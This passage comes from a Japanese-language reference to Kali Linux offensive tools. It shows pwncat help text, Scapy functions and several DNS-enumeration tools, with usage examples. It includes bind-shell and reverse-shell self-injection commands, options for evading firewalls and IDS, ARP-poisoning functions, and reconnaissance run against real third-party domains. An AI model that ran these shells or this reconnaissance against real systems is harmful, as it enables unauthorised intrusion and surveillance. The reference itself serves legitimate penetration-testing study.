  --no-shutdown         Do not shutdown into half-duplex mode.
                        If this option is passed, pwncat won\'t invoke shutdown
                        on a socket after seeing EOF on stdin. This is provided
                        for backward-compatibility with OpenBSD netcat, which
                        exhibits this behavior.

  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.

  --info type           Show additional info about sockets, IPv4/6 or TCP opts
                        applied to the current socket connection. Valid
                        parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                        Note, you must at least be in INFO verbose mode in order
                        to see them (-vv).

  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won\'t listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

protocol arguments:
  -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).

  -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).

  -u, --udp             Use UDP for the connection instead of TCP.

  -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                        Valid values are the tokens 'mincost', 'lowcost',
                        'reliability', 'throughput' or 'lowdelay'.

  --http                Connect / Listen mode (TCP and UDP):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen mode (TCP and UDP):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -H [str ...], --header [str ...]
                        Add HTTP headers to your request when using --http(s).

command & control arguments:
  --self-inject cmd:host:port[s]
                        Listen mode (TCP only):
                        If you are about to inject a reverse shell onto the
                        victim machine (via php, bash, nc, ncat or similar),
                        start your listening server with this argument.
                        This will then (as soon as the reverse shell connects)
                        automatically deploy and background-run an unbreakable
                        pwncat reverse shell onto the victim machine which then
                        also connects back to you with specified arguments.
                        Example: '--self-inject /bin/bash:10.0.0.1:4444'
                        It is also possible to launch multiple reverse shells by
                        specifying multiple ports.
                        Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                        Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                        Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                        Note: this is currently an experimental feature and does
                        not work on Windows remote hosts yet.

pwncat scripting engine:
  --script-send file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed before
                        sending data to a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat\'s function or classes, as the
                        file will be called with exec().

  --script-recv file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed after
                        receiving data from a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat\'s function or classes, as the
                        file will be called with exec().

zero-i/o mode arguments:
  --banner              Zero-I/O (TCP and UDP):
                        Try banner grabbing during port scan.

listen mode arguments:
  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is interrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind [x]          Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Omit the
                        quantifier to rebind endlessly or specify a positive
                        integer for how many times to rebind before giving up.
                        See --rebind-robin for an interesting use-case.
                        (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

connect mode arguments:
  --source-addr addr    Specify source bind IP address for connect mode.

  --source-port port    Specify source bind port for connect mode.

  --reconn [x]          Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Omit the quantifier to retry
                        endlessly or specify a positive integer for how many
                        times to retry before giving up.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)
                        Note on UDP:
                        By default UDP does not know if it is connected, so
                        it will stop at the first port and assume it has a
                        connection. Consider using --udp-sconnect with this
                        option to make UDP aware of a successful connection.

  --reconn-wait s       Connect mode (TCP and UDP):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  --ping-init           Connect mode (TCP and UDP):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --ping-init option instructs the client to send one
                        single initial ping packet to the server, so that it is
                        able to talk to the client.
                        This is a way to make a UDP reverse shell work.
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-intvl s        Connect mode (TCP and UDP):
                        Instruct the client to send ping intervalls every s sec.
                        This allows you to restart your UDP server and just wait
                        for the client to report back in. This might be handy
                        for stable UDP reverse shells ;-)
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-word str       Connect mode (TCP and UDP):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --ping-robin port     Connect mode (TCP and UDP):
                        Instruct the client to shuffle the specified ports in
                        round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Use --ping-intvl 0 to be faster.

  --udp-sconnect        Connect mode (UDP only):
                        Emulating stateful behaviour for UDP connect phase by
                        sending an initial packet to the server to validate if
                        it is actually connected.
                        By default, UDP will simply issue a connect and is not
                        aware if it is really connected or not.
                        The default connect packet to be send is '\0', you
                        can change this with --udp-sconnect-word.

  --udp-sconnect-word [str]
                        Connect mode (UDP only):
                        Change the the data to be send for UDP stateful connect
                        behaviour. Note you can also omit the string to send an
                        empty packet (EOF), but be aware that some servers such
                        as netcat will instantly quit upon receive of an EOF
                        packet.
                        The default is to send a null byte sting: '\0'.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

■ 使用例

# バインドシェル
# 標的ホストでリスナーをオープン
root@kali_2:~# pwncat -l -e '/bin/bash' 8081

# 標的ホストに接続してコマンドを実行
root@kali_1:~# pwncat 192.168.11.4 8081
hostname
kali_2

# ポートフォワーディング
# 3307番ポートでの接続をDBサーバーにフォワーディング
root@kali_2:~# pwncat -L 3307 192.168.56.3 3306

# MySQLクライアントから接続
root@kali_1:~# mysql -u root -h 192.168.11.4 -P 3307
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.001 sec)

Scapy

対話型のパケット操作ツールです。スキャン、トレースルーティング、プローブ、攻撃、ネットワーク検出など様々なタスクを処理することができます。

■ 使用方法

root@kali:~# scapy -H
Welcome to Scapy (2.6.0) using IPython 8.20.0
>>> lsc()
IPID_count            : Identify IP id values classes in a list of packets
arp_mitm              : ARP MitM: poison 2 target\'s ARP cache
arpcachepoison        : Poison targets\' ARP cache
arping                : Send ARP who-has requests to determine which hosts are up::
arpleak               : Exploit ARP leak flaws, like NetBSD-SA2017-002.
bind_layers           : Bind 2 layers on some specific fields\' values.
bridge_and_sniff      : Forward traffic between interfaces if1 and if2, sniff and return
chexdump              : Build a per byte hexadecimal representation
computeNIGroupAddr    : Compute the NI group Address. Can take a FQDN as input parameter
connect_from_ip       : Open a TCP socket to a host:port while spoofing another IP.
corrupt_bits          : Flip a given percentage (at least one bit) or number of bits
corrupt_bytes         : Corrupt a given percentage (at least one byte) or number of bytes
dclocator             : Perform a DC Locator as per [MS-ADTS] sect 6.3.6 or RFC4120.
defrag                : defrag(plist) -> ([not fragmented], [defragmented],
defragment            : defragment(plist) -> plist defragmented as much as possible
dhcp_request          : Send a DHCP discover request and return the answer.
dns_resolve           : Perform a simple DNS resolution using conf.nameservers with caching
dnssd                 : Performs a DNS-SD (RFC6763) request
dyndns_add            : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del            : Send a DNS delete message to a nameserver for "name"
etherleak             : Exploit Etherleak flaw
explore               : Function used to discover the Scapy layers and protocols.
fletcher16_checkbytes : Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum   : Calculates Fletcher-16 checksum of the given buffer.
fragleak              : --
fragleak2             : --
fragment              : Fragment a big IP datagram
fuzz                  : Transform a layer into a fuzzy layer by replacing some default values
getmacbyip            : Returns the destination MAC address used to reach a given IP address.
getmacbyip6           : Returns the MAC address of the next hop used to reach a given IPv6 address.
hexdiff               : Show differences between 2 binary strings, Packets...
hexdump               : Build a tcpdump like hexadecimal view
hexedit               : Run hexedit on a list of packets, then return the edited packets.
hexstr                : Build a fancy tcpdump like hex from bytes.
import_hexcap         : Imports a tcpdump like hexadecimal view
is_promisc            : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump           : Build an equivalent view of hexdump() on a single line
ls                    : List  available layers, or infos on a given layer class or name.
neighsol              : Sends and receive an ICMPv6 Neighbor Solicitation message
overlap_frag          : Build overlapping fragments to bypass NIPS
promiscping           : Send ARP who-has requests to determine which hosts are in promiscuous mode
rderf                 : Read a ERF file and return a packet list
rdpcap                : Read a pcap or pcapng file and return a packet list
report_ports          : portscan a target and output a LaTeX table
restart               : Restarts scapy
rfc                   : Generate an RFC-like representation of a packet def.
send                  : Send packets at layer 3
sendp                 : Send packets at layer 2
sendpfast             : Send packets at layer 2 using tcpreplay for performance
smbclient             : A simple smbclient CLI
sniff                 : Sniff packets and return a list of packets.
split_layers          : Split 2 layers previously bound.
sr                    : Send and receive packets at layer 3
sr1                   : Send packets at layer 3 and return only the first answer
sr1flood              : Flood and receive packets at layer 3 and return only the first answer
srbt                  : send and receive using a bluetooth socket
srbt1                 : send and receive 1 packet using a bluetooth socket
srflood               : Flood and receive packets at layer 3
srloop                : Send a packet at layer 3 in loop and print the answer each time
srp                   : Send and receive packets at layer 2
srp1                  : Send and receive packets at layer 2 and return only the first answer
srp1flood             : Flood and receive packets at layer 2 and return only the first answer
srpflood              : Flood and receive packets at layer 2
srploop               : Send a packet at layer 2 in loop and print the answer each time
tcpdump               : Run tcpdump or tshark on a list of packets.
tdecode               : Run tshark on a list of packets.
traceroute            : Instant TCP traceroute
traceroute6           : Instant TCP traceroute using IPv6
traceroute_map        : Util function to call traceroute on multiple targets, then
tshark                : Sniff packets and print them calling pkt.summary().
wireshark             : Runs Wireshark on a list of packets.
wrerf                 : Write a list of packets to a ERF file
wrpcap                : Write a list of packets to a pcap file
wrpcapng              : Write a list of packets to a pcapng file

■ 使用例

root@kali:~# scapy -H
Welcome to Scapy (2.6.0) using IPython 8.20.0
# DNSクエリを送信
>>> ans = sr1(IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com")))
Begin emission

Finished sending 1 packets

Received 1 packets, got 1 answers, remaining 0 packets
>>> ans["DNS"].summary()
'DNS Ans 93.184.215.14'

# ポートスキャン
>>> ans, unans = sr(IP(dst="93.184.215.14") / TCP(dport=[21,22,80,443], flags="S"))
Begin emission

Finished sending 4 packets

Received 6 packets, got 4 answers, remaining 0 packets
>>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA",prn=lambda s,r: r.sprintf("%TCP.sport% is open"))
http is open
https is open
>>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "RA",prn=lambda s,r: r.sprintf("%TCP.sport% is close"))
ssh is close
ftp is close

# MySQLサーバーとのハンドシェイク
# 必要に応じて iptables -A OUTPUT -p tcp --tcp-flags RST RST -s <送信元ホストのIPアドレス> -j DROP を行う（OS側で先にRSTを送信してしまうため）
>>> def handshake():
...:     sport = random.randint(1024, 65535)
...:     seq = random.randint(1000, 2000)
...:     ip = IP(dst="192.168.11.4")
...:     syn_ack = sr1(ip / TCP(sport=sport, dport=3306, flags="S", seq=seq))
...:     return sr(ip / TCP(sport=sport, dport=3306, flags="A", seq=syn_ack.ack, ack=syn_ack.seq + 1))
...:
>>> ans, unans = handshake()
Begin emission
..*
Finished sending 1 packets

Received 3 packets, got 1 answers, remaining 0 packets
Begin emission

Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> raw = ans[0].answer["Raw"].load
# プロトコルバージョン（バージョン10）以降で最初にNULLバイトが出現するまでのデータを抽出（サーバーバージョン）
>>> print(raw[raw.index(b'\x0a') + 1:raw.index(b'\x00', raw.index(b'\x0a') + 1)].decode('ascii'))
5.0.51a-3ubuntu5

Recon and Information Gathering Tools

DNS Enumeration

Altdns

指定されたドメイン（またはサブドメイン）と単語リストを組み合わせてサブドメインのリストを作成します。

■ 使用方法

root@kali:~# altdns --help

usage: altdns [-h] -i INPUT -o OUTPUT [-w WORDLIST] [-r] [-n] [-e] [-d DNSSERVER] [-s SAVE] [-t THREADS]

options:
  -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        List of subdomains input
  -o OUTPUT, --output OUTPUT
                        Output location for altered subdomains
  -w WORDLIST, --wordlist WORDLIST
                        List of words to alter the subdomains with
  -r, --resolve         Resolve all altered subdomains
  -n, --add-number-suffix
                        Add number suffix to every domain (0-9)
  -e, --ignore-existing
                        Ignore existing domains in file
  -d DNSSERVER, --dnsserver DNSSERVER
                        IP address of resolver to use (overrides system default)
  -s SAVE, --save SAVE  File to save resolved altered subdomains to
  -t THREADS, --threads THREADS
                        Amount of threads to run simultaneously

■ 使用例

root@kali:~# echo "www.nhk.or.jp" > subdomains.txt
root@kali:~# echo -e "1n\n2\n3\n4" > words.txt

# サブドメインのリストを作成して名前解決を行う
root@kali:~# altdns -i subdomains.txt -o out.txt -w words.txt -r -s result.txt
www4.nhk.or.jp : www4.gslb.nhk.or.jp.
www2.nhk.or.jp : www2.gslb.nhk.or.jp.
www3.nhk.or.jp : nhk.or.jp.edgekey.net.

root@kali:~# head -n 5 altered_subdomains.txt
www-1n.nhk.or.jp
www4.nhk.or.jp
www.3.nhk.or.jp
4.www.nhk.or.jp
www2.nhk.or.jp

root@kali:~# cat resolved_subdomains.txt
www4.nhk.or.jp:www4.gslb.nhk.or.jp.
www2.nhk.or.jp:www2.gslb.nhk.or.jp.
www3.nhk.or.jp:nhk.or.jp.edgekey.net.

OWASP Amass

インターネット上の様々なパブリック/プライベート・データソースを使用してドメインの情報を収集します。

Technique	Data Sources
APIs	360PassiveDNS, Ahrefs, AnubisDB, BeVigil, BinaryEdge, BufferOver, BuiltWith, C99, Chaos, CIRCL, DNSDB, DNSRepo, Deepinfo, Detectify, FOFA, FullHunt, GitHub, GitLab, GrepApp, Greynoise, HackerTarget, Hunter, IntelX, LeakIX, Maltiverse, Mnemonic, Netlas, Pastebin, PassiveTotal, PentestTools, Pulsedive, Quake, SOCRadar, Searchcode, Shodan, Spamhaus, Sublist3rAPI, SubdomainCenter, ThreatBook, ThreatMiner, URLScan, VirusTotal, Yandex, ZETAlytics, ZoomEye
Certificates	Active pulls (optional), Censys, CertCentral, CertSpotter, Crtsh, Digitorus, FacebookCT
DNS	Brute forcing, Reverse DNS sweeping, NSEC zone walking, Zone transfers, FQDN alterations/permutations, FQDN Similarity-based Guessing
Routing	ASNLookup, BGPTools, BGPView, BigDataCloud, IPdata, IPinfo, RADb, Robtex, ShadowServer, TeamCymru
Scraping	AbuseIPDB, Ask, Baidu, Bing, CSP Header, DNSDumpster, DNSHistory, DNSSpy, DuckDuckGo, Gists, Google, HackerOne, HyperStat, PKey, RapidDNS, Riddler, Searx, SiteDossier, Yahoo
Web Archives	Arquivo, CommonCrawl, HAW, PublicWWW, UKWebArchive, Wayback
WHOIS	AlienVault, AskDNS, DNSlytics, ONYPHE, SecurityTrails, SpyOnWeb, WhoisXMLAPI

[ amass intel ]

■ 使用方法

root@kali:~# amass intel -help

Usage: amass intel [options] [-whois -d DOMAIN] [-addr ADDR -asn ASN -cidr CIDR]

  -active
        Attempt certificate name grabs
  -addr value
        IPs and ranges (192.168.1.1-254) separated by commas
  -asn value
        ASNs separated by commas (can be used multiple times)
  -cidr value
        CIDRs separated by commas (can be used multiple times)
  -config string
        Path to the YAML configuration file. Additional details below
  -d value
        Domain names separated by commas (can be used multiple times)
  -demo
        Censor output to make it suitable for demonstrations
  -df value
        Path to a file providing root domain names
  -dir string
        Path to the directory containing the output files
  -ef string
        Path to a file providing data sources to exclude
  -exclude value
        Data source names separated by commas to be excluded
  -h    Show the program usage message
  -help
        Show the program usage message
  -if string
        Path to a file providing data sources to include
  -include value
        Data source names separated by commas to be included
  -ip
        Show the IP addresses for discovered names
  -ipv4
        Show the IPv4 addresses for discovered names
  -ipv6
        Show the IPv6 addresses for discovered names
  -list
        Print additional information
  -log string
        Path to the log file where errors will be written
  -max-dns-queries int
        Maximum number of concurrent DNS queries
  -o string
        Path to the text file containing terminal stdout/stderr
  -org string
        Search string provided against AS description information
  -p value
        Ports separated by commas (default: 80, 443)
  -r value
        IP addresses of preferred DNS resolvers (can be used multiple times)
  -rf value
        Path to a file providing preferred DNS resolvers
  -timeout int
        Number of minutes to let enumeration run before quitting
  -v    Output status / debug / troubleshooting info
  -whois
        All provided domains are run through reverse whois

■ 使用例

# 指定されたドメインのWHOIS情報をもとにその組織に関連するドメインを探す
#（主にWHOIS情報の公開連絡窓口のメールアドレスのドメインが一致するものなど）
root@kali:~# amass intel -d digital.go.jp -whois -config config.yaml
geps.jp
digitalgov.jp
g-eps.jp
g20-digital.go.jp
p-portal.jp
digiso.jp
xn--5ckzcybvd9594d88g.jp
g-eps.net
dejital.jp
gops.jp
g-eps.com
digitalgo.jp

[ amass enum ]

■ 使用方法

root@kali:~# amass enum -help

Usage: amass enum [options] -d DOMAIN

  -active
        Attempt zone transfers and certificate name grabs
  -addr value
        IPs and ranges (192.168.1.1-254) separated by commas
  -alts
        Enable generation of altered names
  -asn value
        ASNs separated by commas (can be used multiple times)
  -aw value
        Path to a different wordlist file for alterations
  -awm value
        "hashcat-style" wordlist masks for name alterations
  -bl value
        Blacklist of subdomain names that will not be investigated
  -blf string
        Path to a file providing blacklisted subdomains
  -brute
        Execute brute forcing after searches
  -cidr value
        CIDRs separated by commas (can be used multiple times)
  -config string
        Path to the YAML configuration file. Additional details below
  -d value
        Domain names separated by commas (can be used multiple times)
  -demo
        Censor output to make it suitable for demonstrations
  -df value
        Path to a file providing root domain names
  -dir string
        Path to the directory containing the output files
  -dns-qps int
        Maximum number of DNS queries per second across all resolvers
  -ef string
        Path to a file providing data sources to exclude
  -exclude value
        Data source names separated by commas to be excluded
  -h    Show the program usage message
  -help
        Show the program usage message
  -if string
        Path to a file providing data sources to include
  -iface string
        Provide the network interface to send traffic through
  -include value
        Data source names separated by commas to be included
  -list
        Print the names of all available data sources
  -log string
        Path to the log file where errors will be written
  -max-depth int
        Maximum number of subdomain labels for brute forcing
  -max-dns-queries int
        Deprecated flag to be replaced by dns-qps in version 4.0
  -min-for-recursive int
        Subdomain labels seen before recursive brute forcing (Default: 1) (default 1)
  -nf value
        Path to a file providing already known subdomain names (from other tools/sources)
  -nocolor
        Disable colorized output
  -norecursive
        Turn off recursive brute forcing
  -o string
        Path to the text file containing terminal stdout/stderr
  -oA string
        Path prefix used for naming all output files
  -p value
        Ports separated by commas (default: 80, 443)
  -passive
        Deprecated since passive is the default setting
  -r value
        IP addresses of untrusted DNS resolvers (can be used multiple times)
  -rf value
        Path to a file providing untrusted DNS resolvers
  -rqps int
        Maximum number of DNS queries per second for each untrusted resolver
  -scripts string
        Path to a directory containing ADS scripts
  -silent
        Disable all output during execution
  -timeout int
        Number of minutes to let enumeration run before quitting
  -tr value
        IP addresses of trusted DNS resolvers (can be used multiple times)
  -trf value
        Path to a file providing trusted DNS resolvers
  -trqps int
        Maximum number of DNS queries per second for each trusted resolver
  -v    Output status / debug / troubleshooting info
  -w value
        Path to a different wordlist file for brute forcing
  -wm value
        "hashcat-style" wordlist masks for DNS brute forcing

■ 使用例

# DNSの列挙とターゲットのマッピングを行う
root@kali:~# amass enum -passive -d digital.go.jp -config config.yaml
digital.go.jp (FQDN) --> mx_record --> digital-go-jp.mail.protection.outlook.com (FQDN)
www.digital.go.jp (FQDN) --> cname_record --> d30g3edt6pkfyb.cloudfront.net (FQDN)
vjw-lp.digital.go.jp (FQDN) --> cname_record --> vjw-lp.web.app (FQDN)
services.digital.go.jp (FQDN) --> cname_record --> da-web-service-intro-prd.web.app (FQDN)
mynumber-pr.digital.go.jp (FQDN) --> cname_record --> d3qav5ugx9y79i.cloudfront.net (FQDN)
app-stg.payment.digital.go.jp (FQDN) --> cname_record --> d-cr3h2hr57c.execute-api.ap-northeast-1.amazonaws.com (FQDN)
dashboard.payment.digital.go.jp (FQDN) --> cname_record --> d-3alt7hg4c3.execute-api.ap-northeast-1.amazonaws.com (FQDN)
console.developers.digital.go.jp (FQDN) --> cname_record --> d1377vqmx05042.cloudfront.net (FQDN)
well-being.digital.go.jp (FQDN) --> a_record --> 3.114.187.131 (IPAddress)
well-being.digital.go.jp (FQDN) --> a_record --> 52.192.197.43 (IPAddress)
[...]

assetfinder

crt.sh、certspotter、hackertargetなど複数のデータソースを使用して指定されたドメインに関連するドメインおよびサブドメインを検索します。

■ 使用方法

root@kali:~# assetfinder --help

Usage of assetfinder:
  -subs-only
        Only include subdomains of search domain

■ 使用例

root@kali:~# assetfinder --subs-only qiita.com | sort | uniq | head -n 5
*.terminated.qiita.com
119.qiita.com
ads.qiita.com
app.teams.qiita.com
blog.qiita.com

dnsenum

指定されたドメインのDNS情報を列挙します。

■ 使用方法

root@kali:~# dnsenum --help

Usage: dnsenum [Options] <domain>
[Options]:
Note: If no -f tag supplied will default to /usr/share/dnsenum/dns.txt or
the dns.txt file in the same directory as dnsenum
GENERAL OPTIONS:
  --dnsserver   <server>
                        Use this DNS server for A, NS and MX queries.
  --enum                Shortcut option equivalent to --threads 5 -s 15 -w.
  -h, --help            Print this help message.
  --noreverse           Skip the reverse lookup operations.
  --nocolor             Disable ANSIColor output.
  --private             Show and save private ips at the end of the file domain_ips.txt.
  --subfile <file>      Write all valid subdomains to this file.
  -t, --timeout <value> The tcp and udp timeout values in seconds (default: 10s).
  --threads <value>     The number of threads that will perform different queries.
  -v, --verbose         Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:
  -p, --pages <value>   The number of google search pages to process when scraping names,
                        the default is 5 pages, the -s switch must be specified.
  -s, --scrap <value>   The maximum number of subdomains that will be scraped from Google (default 15).
BRUTE FORCE OPTIONS:
  -f, --file <file>     Read subdomains from this file to perform brute force. (Takes priority over default dns.txt)
  -u, --update  <a|g|r|z>
                        Update the file specified with the -f switch with valid subdomains.
        a (all)         Update using all results.
        g               Update using only google scraping results.
        r               Update using only reverse lookup results.
        z               Update using only zonetransfer results.
  -r, --recursion       Recursion on subdomains, brute force all discovered subdomains that have an NS record.
WHOIS NETRANGE OPTIONS:
  -d, --delay <value>   The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.
  -w, --whois           Perform the whois queries on c class network ranges.
                         **Warning**: this can generate very large netranges and it will take lot of time to perform reverse lookups.
REVERSE LOOKUP OPTIONS:
  -e, --exclude <regexp>
                        Exclude PTR records that match the regexp expression from reverse lookup results, useful on invalid hostnames.
OUTPUT OPTIONS:
  -o --output <file>    Output in XML format. Can be imported in MagicTree (www.gremwell.com)

■ 使用例

root@kali:~# dnsenum qiita.com --file dns.txt --noreverse
dnsenum VERSION:1.3.1

-----   qiita.com   -----


Host\'s addresses:
__________________

qiita.com.                               52       IN    A        18.179.159.154
qiita.com.                               52       IN    A        52.198.50.148
qiita.com.                               52       IN    A        35.73.37.55


Wildcard detection using: gbjxjheemwlb
_______________________________________

gbjxjheemwlb.qiita.com.                  60       IN    A        35.74.119.220
gbjxjheemwlb.qiita.com.                  60       IN    A        13.113.218.100
gbjxjheemwlb.qiita.com.                  60       IN    A        52.192.78.222


!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 Wildcards detected, all subdomains will point to the same IP address
 Omitting results containing 35.74.119.220, 13.113.218.100, 52.192.78.222.
 Maybe you are using OpenDNS servers.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!


Name Servers:
______________

ns-1049.awsdns-03.org.                   85733    IN    A        205.251.196.25
ns-1956.awsdns-52.co.uk.                 85727    IN    A        205.251.199.164
ns-171.awsdns-21.com.                    85730    IN    A        205.251.192.171
ns-772.awsdns-32.net.                    11694    IN    A        205.251.195.4


Mail (MX) Servers:
___________________

aspmx3.googlemail.com.                   293      IN    A        142.250.115.27
aspmx4.googlemail.com.                   293      IN    A        108.177.104.27
aspmx5.googlemail.com.                   293      IN    A        142.250.152.27
aspmx.l.google.com.                      293      IN    A        64.233.187.26
alt1.aspmx.l.google.com.                 91       IN    A        142.250.141.26
alt2.aspmx.l.google.com.                 293      IN    A        142.250.115.27
aspmx2.googlemail.com.                   293      IN    A        142.250.141.27
[...]

dnsgen

与えられたドメインから単語リストをもとに様々な組み合わせのドメインを生成します。

■ 使用方法

root@kali:~# dnsgen --help

Usage: dnsgen [OPTIONS] FILENAME

Options:
  -l, --wordlen INTEGER RANGE  Min length of custom words extracted from
                               domains.  [1<=x<=100]
  -w, --wordlist PATH          Path to custom wordlist.
  -f, --fast                   Fast generation.
  --help                       Show this message and exit.

■ 使用例

root@kali:~# echo "app.example.com" | dnsgen -
help.app.example.com
app.help.example.com
dev.app.example.com
app.dev.example.com
mobileclient.app.example.com
app.mobileclient.example.com
history.app.example.com
app.history.example.com
frontpage.app.example.com
[...]
v3.example.com
documentation.example.com
lab.example.com
repo.example.com
uploads.example.com
vpn.example.com
old.example.com

DNSRecon

一般的なDNSレコード（MX、SOA、NS、A、AAAA、SPF、TXT）およびSRVレコード、PTRレコードの列挙、サブドメインの探索などを行います。

■ 使用方法

root@kali:~# dnsrecon --help

usage: dnsrecon [-h] [-d DOMAIN] [-n NS_SERVER] [-r RANGE] [-D DICTIONARY] [-f] [-a] [-s] [-b] [-y] [-k] [-w] [-z] [--threads THREADS] [--lifetime LIFETIME]
                [--tcp] [--db DB] [-x XML] [-c CSV] [-j JSON] [--iw] [--disable_check_recursion] [--disable_check_bindversion] [-V] [-v] [-t TYPE]

options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Target domain.
  -n NS_SERVER, --name_server NS_SERVER
                        Domain server to use. If none is given, the SOA of the target will be used. Multiple servers can be specified using a comma separated list.
  -r RANGE, --range RANGE
                        IP range for reverse lookup brute force in formats   (first-last) or in (range/bitmask).
  -D DICTIONARY, --dictionary DICTIONARY
                        Dictionary file of subdomain and hostnames to use for brute force.
  -f                    Filter out of brute force domain lookup, records that resolve to the wildcard defined IP address when saving records.
  -a                    Perform AXFR with standard enumeration.
  -s                    Perform a reverse lookup of IPv4 ranges in the SPF record with standard enumeration.
  -b                    Perform Bing enumeration with standard enumeration.
  -y                    Perform Yandex enumeration with standard enumeration.
  -k                    Perform crt.sh enumeration with standard enumeration.
  -w                    Perform deep whois record analysis and reverse lookup of IP ranges found through Whois when doing a standard enumeration.
  -z                    Performs a DNSSEC zone walk with standard enumeration.
  --threads THREADS     Number of threads to use in reverse lookups, forward lookups, brute force and SRV record enumeration.
  --lifetime LIFETIME   Time to wait for a server to respond to a query. default is 3.0
  --tcp                 Use TCP protocol to make queries.
  --db DB               SQLite 3 file to save found records.
  -x XML, --xml XML     XML file to save found records.
  -c CSV, --csv CSV     Save output to a comma separated value file.
  -j JSON, --json JSON  save output to a JSON file.
  --iw                  Continue brute forcing a domain even if a wildcard record is discovered.
  --disable_check_recursion
                        Disables check for recursion on name servers
  --disable_check_bindversion
                        Disables check for BIND version on name servers
  -V, --version         Show DNSrecon version
  -v, --verbose         Enable verbose
  -t TYPE, --type TYPE  Type of enumeration to perform.
                        Possible types:
                            std:      SOA, NS, A, AAAA, MX and SRV.
                            rvl:      Reverse lookup of a given CIDR or IP range.
                            brt:      Brute force domains and hosts using a given dictionary.
                            srv:      SRV records.
                            axfr:     Test all NS servers for a zone transfer.
                            bing:     Perform Bing search for subdomains and hosts.
                            yand:     Perform Yandex search for subdomains and hosts.
                            crt:      Perform crt.sh search for subdomains and hosts.
                            snoop:    Perform cache snooping against all NS servers for a given domain, testing
                                      all with file containing the domains, file given with -D option.
                        
